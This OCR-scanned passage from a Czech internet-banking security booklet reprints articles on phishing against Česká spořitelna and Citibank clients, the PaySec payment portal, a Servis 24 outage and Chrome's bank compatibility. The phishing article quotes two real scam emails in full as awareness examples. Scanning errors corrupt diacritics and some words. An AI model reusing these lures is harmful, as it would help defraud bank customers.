It will be stored in our secure database for maximum of 2 days while we process the results of this nationwide
survey

Please do not reply to this message. For any inguities, contact Customer Service

Thank vou for uging Ceska Swaritelna - Online Banking |

Bylo otazkou Casu, kdy i klienti ¢eskych bank budou &elit témto Gtokdm. VSimnéte si jedné malickosti, podobné
snahy o podvod postihuji velké a znamé spolecnosti s velkym mnoZzstvim klientt. Dvod je prosty: statisticky se
vzdy nékdo chyti a cely utok je tak efektivnéjsi, nez se snaZit lakat klienty malé finanéni instituce.

Anketa

Dosel vam podvodny mail lakajici idaje pro klienty Ceské sporitelny?
= Ano:69 %
= Ne:31%

Odpovédélo 1 265 ¢tenard.
Ceska spoiitelna poteti

V pfipadé Ceské spofitelny jde o opakovany pokus o podvod. E-maily, které jsme obdrzeli do redakéni schranky,
byly dvojiho typu: Ctyfi byly v angli¢tiné a jen dva byly v Ceském jazyce, ovéem s chybami v diakritice. To
potvrzuje moji domnénku, Ze Cedtina je svoji sloZitosti prozatim vyznamnou bariérou pro cizince, ktefi chtgji
zkouset Utoky na deské klienty. Navic v pripadé klientd Ceské spofitelny je bariérou i angliétina. Jazykové
vzdélani cesti klienti Ceské spofitelny na anglicky psany e-mail nenaleti a ostatni si ho hned smazou, protoze mu
nerozuméji. Bezpe€nostni provérku téchto mail mozna provedli i néktefi provozovatelé e-mailovych serverd,
napfiklad na m(j soukromy e-mail u hotmail.com mnou pfeposlany podvodny e-mail nedorazil a byl automaticky
odstranén.

Staci jen premyslet.

Branit se podobnym podvodnym e-mailim je velmi snadné. Staci bézny selsky rozum a dobfe zabezpeceny
pocitac. Tato kombinace vam nedovoli udélat chybu. Pfi bézné kontrole e-mailu sami uvidite, Ze odesilatelem
neni Ceska spofitelna ¢i jina banka a pred kliknutim na odkaz Ize rovnéz snadno zjistit, kam skutetné vede.
A kdyz uz opravdu kliknete, kvalitni bezpeénostni nastroje ve vaSem pocitaci se postaraji za vas. Internet
Explorer 7 pod hlavickou Microsoftu mé informoval na moznost podvodného webu a ve Firefoxu 3 mé na web
nepustil doplnék Site Advisor. Opera odkaz zablokovala s odkazem na podezieni podvodného webu, o kterém
informuje Google. Pouze tvrdé ignorovani téchto varovani mi umoznilo odkazy otevfit. A po otevieni se nestalo

32



Trendy v Internetové bezpecnosti @

nic, jen v jednom pfipadé doslo k zobrazeni anglické verze stranek Ceské spofitelny, pochopiteln& ale ne na
oficialnim webu. To opét ukazuje na podezfeni, Ze §lo spise o test, nez o cileny Utok.

by McAfee Home

McAfee SiteAdvisor

krister.pite.org/czeh/ se muze pokusit ukrast informace.
Pro¢ jste byli presmérovani na tuto stranku? v&fime, Ze tento web miZe byt zaméien na

wylakani vadich osobnich nebo finanénich ddajl. Jedna se o zévainé ohroZeni zahezpedeni,
jehoz nasledkemn miZe byt kradeZ identity, finanéni ztraty nebo Sifeni osobnich informaci

8 Daldiinformace o podvadnych Gtocich (phishinguy
@ Zpét na piedehozi stranku
B Jakjm zplsobem kze toto varowani patladit

Ceska spofitelna byla cilem masivniho Gtoku hlavné v fijnu 2006. Tehdy jsem ve ve¢emich hodinach 11. fijna,
jako mnoho dalSich uzivatell Internetu, obdrZel tento mail:

Dobry den vazeni klienti!

podvodnici zajem o divérnou informaci naSich zakazniku. Velké mnoZstvi lidi se na nas obraci s zadosti zamezit
vzniku nebezpedi ztraty penéznich prostfedku z uCtu. S ohledem na soucasny stav vyhlasuje Banka nasledujici
mésic za mésic boje s frodem.

Do 1. listopadu musi vSichni na$i klienti aktivovat novy systém bezpeclnosti viastnich uctu.

Provedli jsme velkou praci pro zlepSeni bezpecnosti. Systém byl zkontrolovan uznavanymi odborniky v oboru
elektronickych plateb, a vSechny nezavisli experti potvrdili G¢innost systému proti frodu. Z divodu nebezpeci
mozného zneuZiti téchto tdajli podvodniky nejsou tyto data zvefejnéna v otevienych zdrojich.

Vy jste byl (a) zvolen (a) jako jeden z Ucastniki finalniho stadia testovani systému. V soucasné dobé Vam
navrhujeme vyucit odkaz https://www.servis24.cz/ebanking-s24/ a standardnim zplsobem prihlaSeni do Internet

bankingu aktivovat novy bezpecnostni systém.

V aktuélnim stadiu provozu jsou moZné nékteré nesrovnalosti. Pfipoustime jejich existenci, a proto prosim
nezasilejte dodatecné popisy vznikajicich potiZi, prace na jejich odstranéni jiz probihaji.

Musime Vas informovat o bezpodmine¢nem pouZiti nového systému od listopadu, v opacném pfipadé budou
Vase ucty zablokovany do okamziku upiné identifikace Va$i osoby. Proto doporucujeme v nejkrat§i mozné dobé
pfejit na novy bezpecnostni standard.

S pozdravem, Oddéleni Banky pro ochranu pfed frodem
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Pecteni tohoto podvodného mailu vzbuzuje Usmévy, ale presto se naslo okolo 50 klient, ktefi na uvedeny odkaz
skutecné Klikli a Udaje vyplinili. Nenechejte se zmast, zmifovany odkaz po kliknuti ved! jinam, neZ je uvedeno
v tomto textu. Tehdejsi utok byl vedeny z jistého asijského pocitaCe, kam vedla i IP adresa. Jen o pul roku pozdgji
v bfeznu 2007 informovala Ceska spofitelna v tiskové zpravé, ze neznami Utodnici se opét pokousdeli vylakat
udaje od jejich klientl a tentokrat i za pomoci pocitaCovych Eervli (pharming).

V roce 2006 zkouseli podvodnici lakat i klienty ¢eské Citibank

citi’
ey . &
CitiBusiness
Dear CitiBusiness client,
The CitiBusiness Technical Department is performing a scheduled software upgrade to
improve the quality of the banking services.
By clicking on the link below wou will begin the procedure of the user details

confirmation.

http:#eitibusinessonline. da-us. citibank. cormfchusol/confprocedure.do

These instructions are to be sent to and followed by all CitiBusiness clients.
We apologize for any inconvenience and thank you for cooperation

CitiBusiness Technical Service.

Ammberofqtlgup?‘
Copyright © 2006 Citibank

Ohrozena skupina fetézovych klienti

Pravidelny Ctenaf MéSce pfi obdrZeni podobnych e-mailli nejspiSe na klavesnici zmackne tladitko ,DELETE",
jenze nestacil jsem jesté ani dopsat tento ¢lanek a muj kamarad mi uz stacil preposlat jeden z podvodnych maill
v dobré vife, e mi pomze, protoze mam uget u Ceské spofitelny. A soutasné s timto mailem mi poslal par
dalSich zaruCenych zprav o umirajici holCi¢ce v nemocnici, kterou zachrani pfeposlani dalSich 33 e-mailli
a podobné.

Novi objevovatelé Internetu zviasté s rozSifujicim se vysokorychlostnim pfipojenim jsou prévé tou ohrozenou
skupinou a zarovefi nebezpednymi moznymi dalsimi Sifiteli podobnych nesmyslii. Ze pogitadovi uZivatelé — Klienti
bank uméji byt nebezpecni pro banky samotné, potvrzuje i zprava spoleCnosti Deloitte, ktera se zabyvala
bezpecnosti v oblasti informacnich technologii. Zprava Deloitte uvadi, Ze k mnoha utokim na banky dochazi
prostfednictvim klientd, ktefi se stavaji nevédomymi poskytovali citlivych informaci a kanaly vedoucimi do nitra
finan€nich institucich. AvSak pfestoZe jsou finanni instituce témito Utoky pfimo ohroZovany, nejsou zatim
ochotné pfijmout odpovédnost za bezpecnost pocitacl svych klientd, zfejmé z divodu obrovského rozsahu
takového podniku. Podle zpravy pfes 57 % Utoku pfislo pfes elektronickou postu.

Nestastny login a heslo

Je uz téméf pravidlem, ze opakuijici se Utoky pomoci phishingu maji jedno spoleéné: zaméfuji se jen na finanéni
instituce ¢i spoleénosti, které pro pfihladSeni do uZivatelského rozhrani vyuZivaji pouze uZivatelské jméno a heslo
a dalSi zabezpeCeni chybi. Proto koluji miliony podvodnych e-maild mamicich pfihlaSovaci Udaje pro portaly
moneybookers.com ¢i PayPal.com, problémy s podvody méla i ¢eska Citibank, nez zménila svUj pfihlaSovaci
proces (tehdy pouzivala pouze Cislo debetni karty a heslo).
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Anketa
Bojite se pouzivat Internetové bankovnictvi?

= Ano, nevéfim zabezpedeni. 12 %
= Ano, ale pfesto je pouzivam. 18 %
= Ne, je to bezpeéné. 70 %

Odpovédélo 420 ¢tenaid.

Proces autentizace klienta jinym zpusobem nez heslem pfed samotnym pfihlaSenim na et je dostateCnou
bariérou i proti phishingu. A to pfestoZe by doSlo ke kliknuti na odkaz. To neznamena, Ze stavajici zplsob
pfihlaSovani do Internetového bankovnictvi vétsiny éeskych bank je nebezpeény, ale tyto podvodné maily ukazuii,
Ze muzeme oCekavat jejich zvySujici se intenzitu. A Ize pfedpokladat, Ze pfed podvody nemohou byt klidni Zadni
klienti banky, ktera pro pfistup k U¢tu pouZiva jen uZivatelské jméno a heslo. Nemusi sice dojit hned k ubytku
financi, ale pfistup k historii U¢tu a ziskani pfehledu obrattl a aktiv je rovnéz cennou informaci.

Internet ma své obrovské vyhody, ale i rizika, a proto je nutné se na né pfipravit. JenZe ani nejlépe zabezpeteny
pocita¢ neochrani svého uZivatele pfed lidskou bibosti.

Phishing a rhybareni

Slovo phishing je anglicky vyraz oznadujici nelegalni zpusob, jak z uZivatele Internetu ziskat citliva data nebo
udaje. Nejcastéji jde o ziskani hesel pro pfistup do databazi (véetné Internetovych bankovnictvi) a ziskavani Cisel
a PINU platebnich karet. Phisning funguje na bazi e-mailovych zprav, které se tvafi jako zpravy odeslané
napfiklad bankou uZivatele. Odkazy uvedené v téle zpravy vedou na podvodny server, kam se ziskané udaje
odesilaji.

Slovo phishing je plvodem z kofene slova fishing, coZz znamena rybolov, rybafeni. V estiné na Internetu zlidovél
vyraz rhybareni, kterym se phishing oznaCuje. V pfeneseném smyslu tak jde o rozesilani e-mailovych navnad
v nadgji, ze se néjaka obét chyti.

NejlepSim zabezpecenim proti phishingu je osvéta. Snahy o podvod Ize omezit i bezpe¢nostnimi pravidly, jak se
na Internetu chovat, pfipadné softwarovymi nastroji, které uméji snahy o phishing detekovat.

Anketa
Jaké pouzivate zabezpeceni Internetové bankovnictvi?

= Jméno a heslo. 8 %

= Elektronicky podpis. 14 %

= SMS Kli¢ nebo autentizaéni SMS. 69 %

= Elektronicky kalkulator. 5%

= Cipovou kartu. 4%
Odpovédélo 746 étenarl

Cely Clanek i s diskusi je mozné najit na http://www.mesec.cz/clanky/phishing-a-rhybareni-chytnete-si-ceskou-
rybickul/.

35



Trendy v Internetové bezpecnosti @

3.3 PaySec, nova voda v platbach na ¢eském Internetu

Dalibor Z. Chvétal - 22. 4. 2008

Platit na Internetu Ize nékolika zptsoby a rozvoj Internetového bankovnictvi i platebnich karet laka dalSi subjekty
k nabizeni viastnich feSeni. Novy cesky platebni portal méa ambice stat se jednim z nejvétSich na domaci plde.
Technickeé feSeni existuje, rozhodnout musi uZivatelé.

Ceskym platbam na Internetu stale vévodi jediny nejobliben&jsi zplisob platby, a to dobirka. Tento archaicky
nastroj se stejné aktivné pouziva jiz jen v Némecku. Jeho obliba v nasi zemi v8ak pozvolna klesa, a to hlavné
vlivem moznosti rozSifeni plateb na Internetu pomoci platebnich karet. Dobirka ma vSak jesté pfed sebou stéle
dlouhy Zivot. M(Ze za to nedlivéra k poctivosti Internetovych obchodniku, k platbdm na Internetu a Internetovému
prostredi vibec.

V souc€asné dobé na ¢eském Internetu mizeme platit nékolika nastroji. Mezi né patfi:

Dobirka

Platebni karta

Platba pfedem na Ucet v bance
Platba v hotovosti pfi osobnim pfevzeti zboZi
Platebni systém eBanky
Platebni tlacitko CSOB
PaySec

PayPal

9. PayPay

10. moneybookers

11. mTransfer (pfed spusténim)
12. Premium SMS

13. Sek

©® Nk w2

Dnednim dnem spousti ostry provoz novy platebni portal PaySec. Redakce finan¢niho serveru MéSec dostala
moZznost tento portal otestovat a vy méate moZnost si pfecist jako mezi prvnimi étenafi jeho recenzi.

Hafan, pejsek aneb platte bezpecné

Oficialni prezentace platebniho portalu PaySec probéhne dnes dopoledne, presto se pokusim o maly nahled do
smyslu vzniku portalu. Jeho nézev Ize snadno odvodit od dvou anglickych slov: Pay — platit a Sec — security,
bezpeli. PaySec nabizi bezpetné platby na ceském Internetu. Matkou a provozovatelem portalu je
Ceskoslovenska obchodni banka.
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Na webu jen pro obycejné lidi

Pfed pouzivanim portalu je nutna registrace. Mizete si zvolit libovolné pfihlaSovaci jméno, takze pokud na
Internetu vyuZivate svoji zab&hnutou pfezdivku, s registraci si pospéste. Registrovat se mohou jen jednotlivé
fyzické osoby-ob&ané. Chcete-li PaySec nabizet pro platby v pozici obchodnika, musite nejprve s CSOB uzavfit
smlouvu.

Proces registrace je velmi intuitivni a snadny, heslo musi mit minimalné 9 znakd a musi obsahovat velké
pismeno a Cislici. Pfi registraci musite uvést Cislo svého ¢eského bankovniho Uétu v jakékoliv bance, ke kontu
PaySec mohou byt navazany maximainé tfi Gcty. Portal podporuje vSechny tuzemské banky kromé spofitelnich
druZstev Unibon a WPB Capital (stav k 22. 4. 2008).

Béhem registrace uvadite i e-mail, na ten vam obratem pfijde ovéfovaci link. Po jeho potvrzeni nasleduje ovéreni
Cisla vaSeho mobilniho telefonu. Na ten vam pfijde autorizacni SMS podobné jako v Internetovém bankovnictvi.
Po zadani kddu je konto zaloZeno a okamzité funkéni. Poté uZ potfebujete jediné — dostat na néj penize.

Nabijime PaySec

Penize na portal muzete dostat bud bankovnim pfevodem, anebo pomoci platebni karty. Za pfevod z Gétu nic
neplatite, za pfevod z karty date CSOB 2 % z transakce, ale do konce srpna 2008 jsou poplatkové prazdniny,
proto je nabiti pomoci karty zdarma. V tomto ohledu pfipoming PaySec anglicky portal Moneybookers. | ten
nabizi zminované dvé alternativy nabijeni. Naopak, na zndmy portadl PayPal penize pfedem nedostanete,
pfesnéji ne na PayPal registrovany na Ceského zakaznika s tuzemskym domicilem. Pfevod z bankovniho uctu
trva maximalné dva pracovni dny, pfevod z karty je okamzity a s penézi Ize ihned disponovat.

Jak na placeni

Prostfedi PaySec je uzivatelsky pratelské a platit pfes néj je jednodussi, nez vyplnit pfikaz v bance pfes
Internetové bankovnictvi. Opét mate nékolik moznosti. Mizete platbu poslat libovolnému uzivateli PaySec, staci
jen znat jeho uZivatelské jméno. MiZete si naopak i platbu vyZadat (obdoba inkasa), obdrzite ji samoziejmé az
po schvaleni platby platcem. Prijemna je i moznost definice vzorl plateb. Tvlrci portalu nejspiSe mysli, ze
uzivatelé jej budou pouzivat pro opakované platby.

Historie pohyb( na virtualnim uétu PayPal je samoziejmosti, pohyby Ize filtrovat podle typu platby nebo ¢asového
obdobi. Dobrou vlastnosti je moznost konto zrusit. Nez se tak rozhodnete, systém vas vyzve k vybéru ulozenych
finanénich prostfedkl a teprve potom se Ucet zrusi béhem nékolika kliknuti.

Bezpecnost pies mobil

Platby do vySe 50 K¢ se neovéfuji a Ize je odesilat okamZité po pfistupu na ucet. Ten je jistény pouze jménem
a heslem. Mlzete si vSak nastavit, ze pfi platbé nad 50 K& vam bude zaslana autorizaéni SMS. Platba se
provede po prepisu kédu zaslaného v SMS. Je mozna i varianta, kdy Ize nastavit neautorizované platby do
maximalni vySe 1000 K&. Platby nad tuto ¢astku vSak vzdy podiéhaji autorizaci pfes SMS.

Nemate-li radi papirovani, je PaySec po zaloZeni ihned aktivni, ale s omezenim. BEhem kalendainiho roku na néj
mUzete poslat maximalné 63 000 K&, ale z konta dostanete jen 25 000 K& rocné. Kdyz se do této hranice vejdete,
nic vice nepotfebujete. Pokud jednu hranici ,pfeSvihnete”, musite absolvovat ovéfeni na pobockach Postovni
sporitelny (v&etné post), anebo Eekat na dali kalendarni rok.
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Zaruceny

Druhou alternativou ovéfeni je, Ze jste klientem CSOB & Postovni spofitelny a viechny nabiti i vybiti z PaySec
budete provadét vyhradné na jediny et u této banky. Maximalni zGstatek na konté je 100 000 K&, ale nabijeni
a vybijeni je bez limitu.

Ovéieny

vy

vas ov&fi a az ovéfené Udaje dostane i centrala CSOB, mizete se t&Sit z neomezenych limitli pro platby i vydaje
z PaySec bez ohledu, zda jste nebo nejste klienty CSOB. Ovéfovaci formular je ukryty v listé¢ Osobni nastaveni —
Ovéreni.

VéFim, ze pro mnoho uzivatell je ovéfeni otravny zpUsob, ale podobnou moznost nabizi i portal moneybookers.
Ten zadle na vami registrovanou adresu dopis s unikatnim kédem. Pokud dopis dojde a kéd prepiete, ziskate
u moneybookers vysSi limity pro platby i vybéry. PaySec jde podobnou cestou.

Kde to prece jen vazne

Ma-li byt PaySec alternativou pro online platby a konkurovat ostatnim portalim, mél by byt pfedevsim sam
online. A to neni. Pfevod z jiné banky trva az dva pracovni dny. V portalu PaySec bych proto vidél vyhodu pro
Klienty CSOB a Postovni spofitelny, jako konkurenci soudasné platby pomoci eBanky. Oviem prevod uvnitf
CSOB vzdy online neni, vecer & o vikendech penize na PaySec ani z (¢tu u CSOB nedostanete a nezbyva vam
nic jiného, nez sahnou po platebni karté za poplatek 2 %. Naproti tomu eBanka nabizi pfevody okamZité bez
¢asového omezeni.

PaySec proto neni vhodny do situace, kdy brouzdate po Ceském Internetu a najednou vas zaujme zbozi &i
sluzba, které okamzité chcete. Pokud obchodnik PaySec podporuje a mate na ném penize, v pofadku. Opaéné
musite penize na PaySec nejprve dostat. OvSem to uz zrovna mizete pfimo zaplatit online platebni kartou (bez
poplatku 2 %), pfevodem uvnitf eBanky ¢i premium SMS, za pfedpokladu podpory téchto plateb u obchodnika.

Je Skoda, Zze PaySec je stale jen prostfednikem. Svétovy portal PayPal jde dal a neni jen platebnim portalem.
Chce-li si PaySec ziskat uzivatele, mél by kromé placeni nabidnout i dalSi sluzby nebo lakadla. A jedno mé
napada. Podle obchodnich podminek je PaySec pouze prostfednikem a jinak za nic nezodpovida. Naopak,
PayPal pfebira i zaruku za dodani zbozi ¢i sluzby, pfi spinéni podminek. Nebylo by Spatné tuto moZnost Casem
pfidat. Princip je jednoduchy: obchodnik zboZi nedoda ¢&i doda jiné, zakaznik si stéZuje, obchodnik nereaguie,
takze PayPal vrati penize zakaznikovi a obchodnikovi je strhne. Jde o hrubé zjednoduSeni sluzby, ale
prostfednictvim PayPal jsem ji jiz dvakrat isp&$né pouzil. Podle obchodnich podminek CSOB nesmi obchodnik
odmitnout reklamaci zboZi z diivodu, Ze bylo placeno pres PaySec, ale miZze jej odmitnout z jiného divodu. Zde
vidim prostor pro inovaci.

UZivatelsky a poplatkové je PaySec pfijemny, ale otazkou je, jak je na tom obchodnik z pohledu pfijemce platby.
To zalezi na postaveni smlouvy mezi CSOB a obchodnim partnerem, na webu v této chvili zakladni sazebnik pro
obchodniky neexistuje a podminky se stanovuji individualné. Nebylo by Spatné stanovit alespoi zakladni ceny,
o kterych Ize déle diskutovat. Pfipadny zajemce implementaci PaySec tak hned vi, s ¢im m0ze pocitat.

Prostfednictvim platebni brany nelze nabijet PaySec platebnimi kartami Diners Club a American Express. To je
vSak problém spiSe spolecnosti Global Paymants, autorizacniho centra, nez samotné CSOB.

V dobé elektronickych podpist bych rovnéZz odekaval i rychlejsi proces zprovoznéni PaySec u obchodnika.
Zvlasté kdyz samotnad CSOB ma u svych klientl moznost Cipové karty se zaruéenym podpisem. Nemuselo by se
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proto bé&hat na pobocky se smlouvami a ovérenim. Portaly moneybookers a PayPal zprovozni obchodnicky ucéet
béhem nékolika minut véetné implementace na webu, u PaySec je to pfinejmensim otazka nékolika dnd.

Mala PR ostuda

Jesté pred spusténim PaySec se strhla na Internetu diskuze o zneuZivani blogt ¢eskych denikl PR agenturou,
ktera zastupuje CSOB. V diskuzich se zmifioval PaySec jako odpovéd na predrazené nabidky konkurence. Na
problém upozornil Adam Javlrek na svych strankach.

Pro koho je vhodny a co je pfijemné

Platebni portal PaySec je dobrou alternativou pro platby na &eském Internetu. Ma dobré ceny a nabizi
mikroplatby i mezi fyzickymi osobami. Sluzba je postavena velmi jednoduse, jsem v8ak mimné pesimisticky, ze
v nejbliz8i dobé nauci i bézné uzivatele platit mezi sebou pres PaySec. Portalim PayPal nebo moneybookers
vSak konkuruje ¢eskym a jednoduchym ovladanim a hlavné cenou. Po skonceni zavadéciho obdobi je koruna za
platbu z pohledu uZivatele spiSe symbolickym poplatkem.

Oceniuji zvySenou bezpecnost prostiednictvim autorizani SMS i otevfenost platebniho systému pro vSechny
bankovni klienty bez nutnosti mit i¢et u CSOB. PaySec je navic opravdu velmi jednoduchym nastrojem a jeho
ovladani zvladne snad kazdy.

Neni nutné ani registrovat platebni karty, jak je tomu u zahrani€ni konkurence. Nabiti U¢tu pomoci platebni karty
se fe$i okamzitym presmérovanim na platebni branu CSOB. Ale z jiného Uhlu pohledu miZe byt pro nékteré
uzivatele pfijemnéjSi registrace karty, kdy nemuseji stale myslet na to, zda na virtuélnim Uctu jsou nebo nejsou
penize pro placeni. Kdyz penize dojdou a je potfeba platit, automaticky je Ize strhnout z karty. Toto umi PayPal
i moneybookers.

Prili§ maly trh pro hodné dobrych projekti

Pfes to vSe je PaySec novym svézim vétiikem v Ceskych platbach na Internetu a nabizi tuzemskou alternativu,
které zde v tomto rozsahu chybéla. Platby na Internetu ¢eska slibné budoucnost a sluzbu s ndzvem mTransfer
pfipravuje i mBank. Nechejme se proto pfekvapit, co ndm PaySec i dalSi alternativy v nasledujicich mésicich
pfipravi. Mam nadgji, e to budou jen pozitiva. Cesky trh neni tak velky a bylo by &koda investovanych penéz
v projektech, které ¢asem upadnou do pozadi pro malé vyuZiti.

Vyznejte se

«  PaySec - provozovatelem je Ceskoslovenska obchodni bankou podle &eskych pravnich predpist.

e PayPal - na evropském Uzemi je provozovatelem sluzby PayPal Europe, s bankovni licenci a se sidlem
v Lucembursku, podle lucemburského prava. Akcionafem PayPal Europe je americka spole¢nost eBay.

* moneybookers - anglicka spole¢nost Moneybookers Ltd. je registrovand v Londyné ve Velké Britanii,
podléha britskému pravu a britské financni autorité (FSA).

e PayPay - slovenska spolenost plsobi z Bratislavy jako organizacni slozka pravnické osoby
WorldClearing Holding. Ta je registrovana na Seychelech a ma pobolku i ve Spojenych statech.
WorldClearing Holding je dcefinou spoleénosti LUKA & BRAMER GROUP a.s. se sidlem v Bratislaveé.

Cely Clanek i s diskusi je mozné najit na http://www.mesec.cz/clanky/paysec-nova-voda-v-platbach-na-ceskem-
Internetul/.
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3.4 Zaklety Servis 24 Ceské spofitelny

Petr Bukac - 30. 5. 2008

V Ceské spofitelné méate Sest moznosti, jak obsluhovat svij tcet: osobné na pobodce, prostiednictvim sbémého
boxu nebo bankomatu a dale ,na dalku”“ pres telefon, Internet nebo mobilni telefon. Posledni tfi zminéné
moZnosti jsou efektivni, pokud funguji. Spofitelnu v posledni dobé ¢asto zrazuje technika.

Reklama:
Nejvétsi a nejporuchovéjsi

Ceska spofitelna je podle objemu aktiv po Ceskoslovenské obchodni bance druhou nejvétsi bankou v Cesku.
Podle poctu klientd je vSak s prehledem nejvétsi. Z vice nez 5 miliond klientd jich pfes 1,1 milionu vyuziva pfimé
bankovnictvi. To ovSem véera odpoledne neplatilo. Kratce po poledni totiz zkolabovaly systémy zajistujici provoz
Internetového bankovnictvi a klientského centra spofitelny. Rozhodné se pfitom nejednalo jen o kratkodoby
vypadek. Poruchu se podafilo odstranit az po vice nez péti hodinach.

V prubéhu celého odpoledne tedy zUstaly klientim nedostupné vSechny sluzby umozriujici jejich dalkovy pfistup
k GCtu. Nepfijemné bylo, Ze kromé Internetového, telefonniho a GSM bankovnictvi nefungovala ani infolinka
a dokonce ani Internetové stranky spofitelny. Bézny klient zvykly vyuzivat sluzeb pfimého bankovnictvi se tedy
obvyklym zpsobem nedostal nejen ke svému uctu, ale ani k zadnym jinym informacim, nez Ze jim pozadované
sluzby jsou z technickych divod( do¢asné mimo provoz.

Zachrana jen na pobockach a bankomatech

Lidem, ktefi neodkladné potfebovali zadat platebni pfikaz nebo tfeba zjistit zistatek svého U¢tu, nezbylo nic
vydavanych Ceskou spofitelnou totiz maji moznost vyuzivat jejich bankomatt nejen k vybéru penéz, ale také
k zadani jednorazovych platebnich pfikazd az do vySe denniho limitu 20 tisic korun. Sluzba je dostupna na vSech
bankomatech Ceskeé spofitelny po celou dobu jejich provozu.

Jedinou dalSi alternativu pro klienty, ktefi méli i jiné pozadavky a nemohli se dockat, az bude dalkovy pfistup
k Ugtu a infolinka opét v provozu, predstavovala cesta na kteroukoliv pobotku Ceské spofitelny. Slabou Gtéchou
za nepohodli a ztratu ¢asu jim m0ze byt alespoi to, ze v dobé od vypadku sluzeb pfimého bankovnictvi az do
ukonceni provozni doby pobocek jim spofitelna nebude uUCtovat poplatky za transakce uskuteCnéné na
pobockach, které by jinak bylo moZno realizovat prostfednictvim pfimého bankovnictvi.

K pfiginam véerejsich technickych obtizi Ceska spofitelna prozatim nesdélila zadné blizsi informace. Prioritni pro
ni zfejmé bylo pfedevSim co nejrychlejSi zprovoznéni systému. Analyzou pfiCin se hodlad zabyvat teprve
nasledné. Kristyna Havligerova z oddéleni firemni komunikace Ceské spofitelny bezprostfedné po odstranéni
poruchy server MéSec.cz informovala: "Situaci jsme intenzivné feSili s nejvySSi prioritou dulezitosti. Presnou
pfic¢inu vypadku vSak zatim nezname. Klientim se omlouvame."

CS: Pfimé bankovnictvi je pro nas prioritou

Klientim zfejm& nezbude nic jiného, nez omluvu pfijmout. Tristni véak je, Ze podobné problémy Ceskou
spofitelnu pronasleduji pomérné Casto. Nékdy se neplanované protadhne planovana odstavka Internetového
bankovnictvi, jako tomu bylo naposledy v bfeznu, jindy nejsou v provozu platebni terminaly u obchodnik
z dlvodu pretizeni sité popfipadé zkolabuji nékteré jeji bankomaty. Poruchy technickych systému sice ¢as od
Casu postihuiji i jiné banky, ale jen malokdy zasahnou tak velky pocet klientu.
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Pro Ceskou spofitelnu jsou opakované problémy s ob&asnou nedostupnosti jejich nékterych sluzeb urgité
nepfijemné a jisté se je intenzivné se snazi vyfeSit. Kristyna Havligerova k tomu pro MéSec.cz fika: "Pfimé
bankovnictvi je nasi dlouhodobou prioritou. V roce 2007 byla jeho dostupnost téméF 99%. Kazdy rok do néj
investujeme fadové stovky miliond K¢. Celkova Castka téchto investic od roku 2000 pfesahla jednu miliardu KE.
Jde vSak o techniku, a ta se bohuzel nékdy poroucha."

Uspéch se jednou miize zastavit

Ceska spofitelna je bezpochyby Usp&sna banka. Svédéi o tom mimo jiné i jeji stale se zlepsujici hospodarské
vysledky. O budoucnosti kazdé financni instituce vSak rozhoduje predevsim spokojenost jejich klientd. Pokud je
banka dusledné vede k co nejvét§imu vyuzivani sluzeb pfimého bankovnictvi, méla by bezpodminecné zajistit
jeho permanentni dostupnost. Nechce-li Ceské spofitelna o své klienty zagit prichazet, bude se muset v tomto
sméru jesté zlepsit. Dostupnost 99 % brzy nebude stacit.

PfedevSim by ale méla zamezit tomu, aby kdykoliv v budoucnu mohlo dojit k souasnému vypadku vSech jejich
prostfedkl dalkové komunikace s klienty. To by totiz mohlo mit pro jeji dlvéryhodnost fatalni nasledky.
Kombinace nefunkéniho pfimého bankovnictvi, nedostupnych Internetovych stranek i infolinky je pro bézného
klienta, ktery potiebuje cokoliv neodkladného se svou bankou vyfidit, skute¢né deprimujici. Odkazat ho jen na
moznost vyuziti bankomatu nebo néavstévy pobocky rozhodné nestaci.

Cely Clanek i s diskusi je mozné najit na http://www.mesec.cz/clanky/zaklety-servis-24-ceske-sporitelny.

3.5 Google Chrome: Jak dulezity je prohlize¢ pro Internetové bankovnictvi?

Michal Cemny - 5. 9. 2008

Internetovy prohlize¢ patfi na vétsiné pocitach mezi nej¢astéji pouzivané programy. Prostfednictvim kvalitniho
prohlizeCe mizZete snadno ovladat nejriznéjsi Internetové aplikace. Co vSak s prohlizeCem, ktery nezvlada
Internetové bankovnictvi? | takovy je Google Chrome.

V poslednich letech jsme si navykli vybirat Internetovy prohlize¢ na zakladé funkéniho vybaveni, moznosti
rozSifeni Ci rychlosti, bezpe€nosti a stability. Az na nékteré drobné vyjimky (pfedevSim prohlize¢ Opera) nebylo
nutné zvazovat, zda se Internetové stranky zobrazi dostatecné dobre a kvalitné.

Nezvykly rychlik

Druhého zafi uvedla americka firma Google prohlize¢ s nazvem Chrome. A¢ se jedna testovaci verzi, 1ze fici, ze
vzbudila rozruch vétsi nez maly. Prohlize€ jiz pfi prvnich testech vykazuje vétSi rychlost pfedevsim u online
aplikaci, ale také i celé fady dalSich "obycCejnych" stranek.

Google Chrome je z Casti postaveny na zdrojovych kodech Firefoxu, Castetné na WebKit a je nabizen jako open
source. Jedna se o beta verzi, ktera ma byt pro Google reflexi toho, co uzivatelim chybi a co se jim naopak libi.
Hovofi se 0 ném jako o snaze Google ukrojit podil IE od Microsoftu z kolace podill prohlize€u. Spise se ale jedna
o0 snahu spolecnosti otevfit si cestu k robustnéjSim a kvalitnéjSim online aplikacim, v jejichZ vyvoji hraje svétové
jednoznacné prim. Je vybaven Google V8 JavaScript Engine, ktery zajistuje rychlejSi praci s JavaScriptem. Ten
se pouziva nejen pro vétsinu tzv. web 2.0 aplikaci, ale slouzi na celé fadé stranek jako néjaky "aktivni prvek".
Chrome je k dispozici také v ¢estiné.
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Anketa
Jaky Internetovy prohlize¢ nejcastéji pouzivate (nebo budete pouzivat)?

= Firefox 54 %
= Google Chrome 8 %
= |Internet Explorer 15 %

= Netscape 0%
= QOpera 18 %
= Safari 2%
= Jiny 2%

Odpovédélo 1 047 &tenard.
Do banky s problémy

Jisté se bez zajimavosti neobjede ani skutenost, Zze Ceské Internetové bankovnictvi (IB) pod nim pfilis
nefunguje. Jen naméatkou; u CSOB nedojde k natteni stranky pro piihladeni, u Komeréni banky neni mozné uzit
java applet (jedna o podivné feSeni IB, ale budiz), takze se také prihlasit nemuzete. Podle ohlasl je prohlize¢
Chrome skute¢né rychly, ale nékteré bankovni Internetové stranky s nim maji potize.

Naskyta se tedy otazka, zdali ma podobny prohlize¢ na ¢eském trhu ve stavajici podobé vibec néjakou Sanci.
Ponechme stranou technické specifikace prohlizece a jeho porovnani s konkurenci a zaméfme se na nemoznost
pouzivani Internet banking - je fatalnim nebo jen diléim hendikepem? Postavme si tedy otazku, zda je podpora 1B
pro nas jednim z kli€ovych parametr( prohlizece.

